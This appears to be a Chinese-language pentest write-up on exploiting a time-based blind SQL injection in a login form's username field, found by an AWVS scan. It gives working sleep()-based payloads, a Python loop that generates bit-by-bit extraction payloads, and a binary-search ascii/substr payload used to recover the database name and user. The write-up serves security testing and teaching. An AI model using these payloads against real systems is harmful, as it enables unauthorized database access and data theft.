题记
某需要测试设备,于是我让我同事对防护资产用AWVS进行扫描,成功跑出来一个SQL注入漏洞,payload为if(now()=sysdate().sleep(9),0)。第一次接触这种payload,于是开始测试。
sql注入
先百度发现有前辈搞过这种注入。
先访问漏洞网址。
根据扫描器的数据构造数据包password=g00dPa%24%24w0rD&username=if(now()=sysdate()%2Csleep(6)%2C0)。如果存在注入会演示6秒响应。
now()返回的时间是SQL语句执行的时间,无论在一次SQL语句中now()函数被执行多少次.即SQL开始执行的时间.
sysdate()返回的时间是函数执行的时间
post数据改为password=g00dPa%24%24w0rD&username=if(now()=sysdate()%2Csleep(9)%2C0),看响应时间成功为9。
获取当前数据库的库名长度
password=g00dPa%24%24w0rD&username=if(now()=sysdate(),sleep(length(database())),0),通过响应12秒我们知道数据库的库名长度为12。
下面就可以写个脚本挨个跑库名了。生成注入字典payload。
for i in range(1,12+1): for i2 in range(1,7+1): print("if(now()=sysdate(),sleep(substr(bin(ascii(substr(database(),{},1))),{},1)),0)".format(i,i2)) print("**********************************")
然后就可以根据响应时间返回二进制010101这种,然后算出来数字对应ascii码就行了。原理是把执行结果通过substr()函数逐个字符进行切割,然后ascii编码成长度为2或3的阿拉伯数字,在进行bin()二进制编码在通过函数成长度为6到7,在把二进制编码后的字符串通过substr()函数逐个字符进行切割,通过Sleep()延迟函数执行0、1的方式向前台传递服务器信息。
由于时间紧迫,当场写脚本来不及了,在另一篇文章了解到还有一种注入姿势。
通过修改为password=g00dPa%24%24w0rD&username=if((ascii(substr(database(),3,1))>96),sleep(1),0)直接测试数据库每个字符ascii值是多少,以二分法来测试,很快就测完了。通过人肉扫描器的记录,数据库名称成功爆破出来。这点主要,这种语句响应时间会变成设置的2倍。比如数据库第三个字符的ascii码大于96,会睡眠2秒返回结果。
用户user()也判断出来了,为root@localhost。
参考文章
复盘某奇葩SQL时间延迟盲注(1):http://cloud.tencent.com/developer/article/1835865
与SQL注入可以说的二三事:http://blog.csdn.net/crystal_shrimps/article/details/106453931
ascii码对照表:http://renrendoc.com/paper/117152176.html